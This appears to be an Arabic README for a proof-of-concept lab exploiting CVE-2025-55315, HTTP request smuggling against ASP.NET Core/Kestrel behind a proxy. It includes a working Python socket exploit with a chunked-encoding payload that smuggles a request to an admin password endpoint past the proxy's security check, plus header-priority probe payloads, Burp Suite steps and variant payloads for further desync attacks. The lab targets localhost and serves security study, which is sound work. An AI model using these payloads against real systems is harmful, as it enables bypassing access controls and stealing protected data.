CVE-2025-55315

إثبات مفهوم لاستغلال CVE-2025-55315 (تهريب طلبات HTTP في .NET). يوضح كيف تسمح معالجة الترميز المُجزّأ (chunked encoding) بشكل غير صحيح للمهاجمين بتهريب الطلبات عبر الوكلاء (proxies) وموازنات التحميل في خوادم ASP.NET Core/Kestrel الضعيفة.

📊 العرض التقديمي

عرض Prezi التفاعلي

🎥 انقر على الشارة أعلاه لعرض العرض التقديمي التفاعلي الكامل على Prezi

هيكل المشروع

• Api - واجهة برمجة تطبيقات ASP.NET Core موحّدة مع ملفي Docker:
  • Dockerfile.vulnerable - تستخدم .NET 10.0.100-rc.1 (عرضة لـ CVE-2025-55315)
  • Dockerfile.patched - تستخدم .NET 10.0.100 (الإصدار المحدّث)
• PythonProxy - وكيل ضعيف يُستخدم لتوضيح استغلال CVE-2025-55315 (يفضل Content-Length على Transfer-Encoding)
• YarpProxy - وكيل عكسي YARP لاختبار موازنة التحميل (ليس جزءًا من الاستغلال)

ملاحظة: الثغرة تكمن في محلل HTTP الخاص ببيئة تشغيل .NET (Kestrel)، وليس في كود التطبيق. يستخدم كلا الإصدارين نفس الكود المصدري ولكن بإصدارات مختلفة من بيئة تشغيل .NET.

بدء سريع

# Build and run all services
docker-compose up --build

# Access the services
# Unsafe API: http://localhost:5001
# Safe API: http://localhost:5002
# Python Proxy (exploit): http://localhost:5027
# YARP Proxy (load balancing): http://localhost:5028

انظر DOCKER.md للحصول على تعليمات مفصلة لاستخدام Docker.

توضيح الاستغلال

يُظهر الوكيل المكتوب بلغة Python ثغرة CVE-2025-55315 من خلال تفضيل Content-Length على Transfer-Encoding، مما يتيح تهريب طلبات HTTP:

payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5027\r\n"
    "Transfer-Encoding: chunked\r\n"
    "\r\n"
    "2;\n"
    "xx\r\n"
    "39\r\n"
    "0\r\n"
    "\r\n"
    "GET /passwords/admin HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "\r\n"
    "0\r\n"
    "\r\n"
)

import socket
import time

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5027))
    s.sendall(payload.encode())
    
    # Read all available data
    s.settimeout(2.0)
    responses = b''
    try:
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            responses += chunk
    except socket.timeout:
        pass
    
    print("=== Complete Response ===")
    print(responses.decode('utf-8', errors='ignore'))
    print("\n=== Checking for smuggled request response ===")
    if b'/passwords/admin' in responses or b'admin' in responses:
        print("✓ Successfully smuggled request to /passwords/admin!")
    else:
        print("✗ Exploit failed or blocked")

يُهرّب هذا الحمول طلبًا ثانيًا إلى /passwords/admin متجاوزًا فحص الأمان في الوكيل، مستغلًا الاختلاف في كيفية تحليل الوكيل والخادم الخلفي للطلب.

التفسير البصري للطلب

إليك كيفية تفسير الوكيل والخادم الخلفي لنفس الحمول بشكل مختلف:

الاختلافات الرئيسية:

شرح مفصل:

• الوكيل: يقبل 2;\n كتصريح حجم قطعة صالح (2 بايت) → يقرأ xx كجسم القطعة المكون من 2 بايت → ينتقل إلى القطعة التالية (39)
• الخادم الخلفي: يرفض \n كنهاية سطر → يظل حجم القطعة 2 لكن الترويسة تمتد عبر 2;\nxx\r\n → يقرأ 39 كجزء من جسم القطعة → 0\r\n ينهي القطعة
• النتيجة: طلب GET /passwords/admin المُهرَّب مخفي فيما يعامله الخادم الخلفي كبيانات قطعة، لكنه يُحلَّل كطلب منفصل بعد اكتمال معالجة القطع

طلب GET /passwords/admin المُهرَّب مخفي فيما يعتقده الوكيل كبيانات جسم القطعة، لكن الخادم الخلفي يحلّله كطلب HTTP منفصل.

تحديد الثغرة

قبل الاستغلال، تحتاج إلى تحديد أي ترويسة HTTP (Content-Length أو Transfer-Encoding) تفضلها المكونات المختلفة. إليك دليل خطوة بخطوة:

الخطوة 1: اختبار أولوية الترويسة

أرسل طلبًا يحمل كلتا الترويستين Content-Length وTransfer-Encoding: chunked لمعرفة أي منهما يحترمه كل مكوّن:

POST /passwords HTTP/1.1\r\n
Host: localhost:5001\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n

التحليل:

• إذا عالج الخادم "Fa" (2 بايت) → فهو يفضل Content-Length
• إذا عالج الخادم "Fabian" (جسم مُجزّأ كامل) → فهو يفضل Transfer-Encoding

الخطوة 2: اختبار كل مكوّن

اختبر جميع المكونات في بنيتك للعثور على الاختلافات:

اختبار واجهة API غير الآمنة (المنفذ 5001)

# Using Python
import socket

test_payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "Transfer-Encoding: chunked\r\n"
    "Content-Length: 2\r\n"
    "\r\n"
    "6\r\n"
    "Fabian\r\n"
    "0\r\n"
    "\r\n"
)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5001))
    s.sendall(test_payload.encode())
    s.settimeout(1.0)
    try:
        response = s.recv(4096)
        print("Unsafe API Response:", response.decode('utf-8', errors='ignore'))
    except socket.timeout:
        pass

اختبار واجهة API الآمنة (المنفذ 5002)

# Change port to 5002 and test
# Safe API should handle the conflict properly

اختبار وكيل Python (المنفذ 5027)

# Change port to 5027
# Python proxy favors Content-Length (vulnerable)

اختبار وكيل YARP (المنفذ 5028)

# Change port to 5028
# Test how YARP handles the header conflict

الخطوة 3: استخدام Burp Suite للاختبار اليدوي

1. اعتراض الطلب: التقط طلب POST عاديًا إلى /passwords
2. تعديل الترويسات: أضف الترويستين يدويًا:

Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n

3. تعيين الجسم: استخدم صيغة الترميز المُجزّأ:

6\r\n
Fabian\r\n
0\r\n
\r\n   

4. مقارنة الاستجابات: أرسل إلى نقاط نهاية مختلفة وحلل أي جزء من الجسم يعالجه كل مكوّن
5. تحديد الاختلاف: إذا قرأ الوكيل 2 بايت لكن الخادم الخلفي قرأ القطعة كاملة، فأنت أمام ثغرة عدم مزامنة (desync)

الخطوة 4: صياغة الاستغلال

بمجرد تحديد:

• الوكيل: يفضل Content-Length (يقرأ N بايت فقط)
• الخادم الخلفي: يفضل Transfer-Encoding (يقرأ الجسم المُجزّأ)

يمكنك تهريب طلب ثانٍ لا يراه الوكيل أبدًا لكن الخادم الخلفي يعالجه.

الخطوة 5: التحقق من الاستغلال

شغّل حمول الاستغلال الكامل (انظر قسم "توضيح الاستغلال" أعلاه) وتأكد من:

• الاستجابة الأولى: نتيجة POST عادية
• الاستجابة الثانية: بيانات نقطة نهاية المشرف (نجح الطلب المُهرَّب)

الأدوات الموصى بها

• Burp Suite: صياغة الطلبات يدويًا والتلاعب بالترويسات
• socket في Python: تحكم منخفض المستوى لتنسيق HTTP دقيق
• curl مع --data-binary: اختبار سريع عبر سطر الأوامر
• Wireshark: تحليل على مستوى الحزم لمعرفة ما يستقبله كل مكوّن بالضبط

صيغ بديلة للاستغلال

يمكن صياغة الاستغلال بطرق متعددة. جرّب أساليب مختلفة:

مع Content-Length صريح

# Add Content-Length to make the desync explicit
payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5027\r\n"
    "Content-Length: 75\r\n"
    "Transfer-Encoding: chunked\r\n"
    # ... rest of payload
)

لماذا ينجح بدون Content-Length

• الوكيل: يقبل \n كنهاية سطر صالحة → يعامل 2;\n كحجم قطعة → يقرأ 2 بايت (xx)
• الخادم الخلفي: يرفض \n → تمتد ترويسة القطعة عبر 2;\nxx\r\n → يصبح 39 جسم القطعة → 0\r\n ينهي القطعة
• النتيجة: الطلب المُهرَّب مخفي في جسم القطعة، ويُحلَّل كطلب منفصل بواسطة الخادم الخلفي

أفكار للتجربة

جرّب سيناريوهات عدم مزامنة مختلفة بتعديل PythonProxy/proxy_server.py:

• CL.TE: يستخدم الوكيل Content-Length، والخادم الخلفي يستخدم Transfer-Encoding
• TE.CL: يستخدم الوكيل Transfer-Encoding، والخادم الخلفي يستخدم Content-Length (جرّب صياغة واجهات Apis الخاصة بك)
• TE.TE: يستخدم كلاهما Transfer-Encoding لكن التحليل يختلف (مثل \n مقابل \r\n)

جرّب:

• أحجام وصيغ مختلفة للقطع
• طلبات مُهرَّبة متعددة بالتسلسل
• طرق HTTP متنوعة (GET, POST, PUT, DELETE) - يمكنك إضافتها في Apis
• المسافات والأحرف الخاصة